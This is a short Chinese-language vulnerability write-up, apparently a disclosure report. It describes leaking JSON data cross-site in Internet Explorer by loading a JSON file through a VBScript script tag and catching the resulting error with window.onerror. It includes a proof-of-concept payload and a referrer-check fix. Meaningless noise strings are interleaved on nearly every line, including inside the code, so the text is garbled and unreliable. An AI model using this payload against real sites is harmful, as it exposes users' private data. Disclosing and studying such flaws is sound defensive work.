简要描述:. y) @9 ~; X! Y; q- W5 {
$ s* X) b) G6 h6 p+ p' W- D/ e- I$ m
由于某些资源容器对数据处理不当导致json劫持漏洞.
0 j* ^& D9 T9 D5 |4 B详细说明:
: H/ j | [3 k4 [4 f' j由于ie支持vbscript,所以script元素可以指定成vbscript语言:
# q" x5 h, ?7 s- Z! Z0 @<script language=vbscript></script>3 I4 @* X9 r5 q& u
% Z- v$ g- U$ k* l# f7 R V( x当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
' o1 k1 v9 P, c0 \5 \* s漏洞证明:7 q5 W5 ^9 _' d! k) T
<script>2 x& _& F+ j6 r3 `$ ?
window.onerror=function(_){
1 N6 J5 C6 v+ C' S2 Y: \alert(_)
. @4 |4 T, K; J}$ t' H% p% n% N; [
</script>7 o9 {" f* t# D
<script language=vbscript src=1.json></script>
/ Q5 A) Q2 w$ m' I* u. U # E0 w( o+ J/ f1 Q( R
9 V% Z) ~) v( t! D- u/ M1.json:
1 R8 t2 ~0 f) @. A' j[{"name":"sogili","age":19}]1 f7 u' I1 p& i5 O; G- P
修复方案:* F6 z( T% J+ G" c9 q3 }' q1 X+ [
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |